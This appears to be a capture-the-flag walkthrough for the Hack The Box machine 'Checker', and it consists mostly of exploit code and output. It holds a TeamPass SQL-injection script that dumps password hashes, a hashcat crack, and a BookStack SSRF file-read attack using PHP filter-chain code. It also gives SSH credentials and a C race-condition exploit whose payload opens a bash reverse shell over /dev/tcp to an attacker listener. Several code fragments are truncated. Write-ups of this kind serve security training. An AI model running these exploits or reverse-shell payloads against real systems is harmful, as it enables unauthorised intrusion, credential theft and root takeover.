Checker - JohnG4lt
Checker - JohnG4lt
Open 10.129.122.143:22
Open 10.129.122.143:80
Open 10.129.122.143:8080
vulnerable_url="$1/api/index.php/authorize"
arbitrary_hash='$2y$10$u5S27wYJCVbaPTRiHRsx7.iImx/WxRA8/tKvWdaWQ/iDuKlIkMbhq'
exec_sql() {
local query="$1"
local payload="{\"login\":\"none' UNION SELECT id, '$arbitrary_hash', ($query), private_key, personal_folder, fonction_id,
groupes_visibles, groupes_interdits, 'foo' FROM teampass_users WHERE login='admin\",\"password\":\"h4ck3d\", \"apikey\":
\"foo\"}"
Execute teampass.sh
$ ./teampass.sh http://checker.htb:8080/
[*] Retrieving user credentials...
admin:$2y$10$lKCae0EIUNj6f96ZnLqnC.LbWqrBQCT1LuHEFht6PmE4yH75rpWya
bob:$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy
$2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59NxmtpJ/tiy:cheerleader
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2y$10$yMypIj1keU.VAqBI692f..XXn0vfyBL7C1EhOs35G59N...pJ/tiy
Passwords
Might need at some point since MFA was enabled for SSH
$ curl -s http://checker.htb/login
*snip*
<script src="http://checker.htb/dist/app.js?version=v23.10.2" nonce="JSbfQEF4YwnUOVmedMYC78Uu"></script>
BookStack v23.10.2 → LFR via Blind SSRF + LFR SSRF PoC
{
"name": "New Page",
"html": "<img src=\"data:image/png;base64,aHR0cDovLzEwLjEwLjE0LjAwOjY5NjkvdGVzdAo=\"/>"
}
SAVE DRAFT → Edit AGAIN then SAVE PAGE (not draft) → creates img on server containing
cmd
$ curl http://checker.htb/uploads/images/gallery/2025-02/embedded-image-u2aqzr4g.png
http://10.10.14.00:6969/test
Ok lets use the more advanced PoC now that we know img src works
USER
$ git clone https://github.com/synacktiv/php_filter_chains_oracle_exploit
$ cd php_filter_chains_oracle_exploit
$ python -m venv env
$ source env/bin/activate
$ pip install -r requirements.txt
import json
import requests
import time
import base64
import re
import logging
from filters_chain_oracle.core.verb import Verb
from filters_chain_oracle.core.utils import merge_dicts
class Requestor:
def __init__(
self,
file_to_leak: str,
target: str,
parameter: str,
data: str = "{}",
headers: str = "{}",
verb: Verb = Verb.POST,
in_chain: str = "",
proxy: str = None,
time_based_attack: bool = False,
delay: float = 0.0,
json_input: bool = False,
match: bool = False,
):
self.file_to_leak = file_to_leak
self.target = target
self.parameter = parameter
self.json_input = json_input
self.match = match
self.delay = delay
self.data = json.loads(data)
self.headers = json.loads(headers)
self.verb = verb
if match:
logging.info("Using match pattern: %s", match)
if proxy:
self.proxies = {"http": proxy, "https": proxy}
else:
self.proxies = None
self.instantiate_session()
if time_based_attack:
self.time_based_attack = self.error_handling_duration()
logging.info("Error handling duration: %s", self.time_based_attack)
else:
self.time_based_attack = False
@staticmethod
def join(*args: str) -> str:
return "|".join(args)
blow_up_utf32 = "convert.iconv.L1.UCS-4"
repeated_chain = self.join(*([blow_up_utf32] * 15))
chain_trigger = f"convert.base64-encode|{repeated_chain}"
error_req = self.req_with_response(chain_trigger)
return error_req.elapsed.total_seconds() - self.normal_response_time
try:
if self.verb == Verb.GET:
response = self.session.get(self.target, params=merged_data)
elif self.verb == Verb.PUT:
if self.json_input:
response = self.session.put(self.target, json=merged_data)
else:
response = self.session.put(self.target, data=merged_data)
elif self.verb == Verb.DELETE:
if self.json_input:
response = self.session.delete(self.target, json=merged_data)
else:
response = self.session.delete(self.target, data=merged_data)
elif self.verb == Verb.POST:
if self.json_input:
response = self.session.post(self.target, json=merged_data)
else:
response = self.session.post(self.target, data=merged_data)
else:
raise ValueError(f"Unsupported HTTP verb: {self.verb}")
return response
except requests.exceptions.ConnectionError:
logging.error("Could not establish a connection to %s", self.target)
exit(1)
if self.match:
return self.match in response.text
if self.time_based_attack:
threshold = (self.time_based_attack / 2) + 0.01
return response.elapsed.total_seconds() > threshold
Execute to leak file contents with your creds from Burp (timing attack so takes awhile)
$ cd ../
$ python3 filters_chain_oracle_exploit.py --target 'http://checker.htb/ajax/page/<PAGE>/save-draft' --file /etc/passwd --verb
PUT --parameter html --headers '{"X-CSRF-TOKEN":"<YOURS>","Content-Type":"application/x-www-form-
urlencoded","Cookie":"bookstack_session=<YOURS>"}' --proxy http://127.0.0.1:8080
$ ssh [email protected]
([email protected]) Password: 'hiccup-publicly-genesis'
([email protected]) Verification code: 050332
reader@checker:~$ ls -la
total 36
drwxr-x--- 4 reader reader 4096 Feb 6 04:22 .
drwxr-xr-x 3 root root 4096 Jun 12 2024 ..
lrwxrwxrwx 1 root root 9 Feb 6 04:07 .bash_history -> /dev/null
-rw-r--r-- 1 reader reader 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 reader reader 3771 Jan 6 2022 .bashrc
drwx------ 2 reader reader 4096 Jun 15 2024 .cache
-r-------- 1 reader reader 39 Jun 14 2024 .google_authenticator
drwxrwxr-x 3 reader reader 4096 Jun 15 2024 .local
-rw-r--r-- 1 reader reader 807 Jan 6 2022 .profile
-rw-r----- 1 root reader 33 Feb 24 02:48 user.txt
ROOT
reader@checker:~$ sudo -l
User reader may run the following commands on checker:
(ALL) NOPASSWD: /opt/hash-checker/check-leak.sh *
#!/bin/bash
source `dirname $0`/.env
USER_NAME=$(/usr/bin/echo "$1" | /usr/bin/tr -dc '[:alnum:]')
/opt/hash-checker/check_leak "$USER_NAME"
reader@checker:$ cd /tmp
Reversing check_leak → shared memory (SHM) → 0666 perms = global R/W → Race
Condition to inject cmd as sudo
Race Condition - Abuse shared memory to overwrite known string and execute unintended code instead
#include <stdio.h>
#include <stdlib.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <signal.h>
#include <time.h>
const char * payload = "Leaked hash detected > '; /bin/bash -c \"bash -i >& /dev/tcp/<IP>/<PORT> 0>&1\";#";
void inject_payload() {
key_t key = rand() % 0xfffff;
int shmid = shmget(key, SHM_SIZE, SHM_MODE);
if (shmid == -1) {
perror("shmget failed");
exit(EXIT_FAILURE);
}
pid_t find_target_pid() {
FILE * fp;
char path[128];
pid_t pid = -1;
pclose(fp);
return pid;
}
void race_exploit() {
pid_t target_pid = find_target_pid();
if (target_pid > 0) {
printf("\n[+] Found process: %d\n", target_pid);
int main() {
srand(time(NULL));
printf("\n[+] Starting race exploit...\n");
if (fork() == 0) {
system("sudo /opt/hash-checker/check-leak.sh bob");
exit(0);
}
usleep(40000);
race_exploit();
return 0;
}
Listener
$ nc -lvnp 6969
listening on [any] 6969 ...
connect to [10.10.00.00] from (UNKNOWN) [10.129.00.00] 54840
Since we are injecting cmd to run as root, could add SSH keys or directly read flag etc.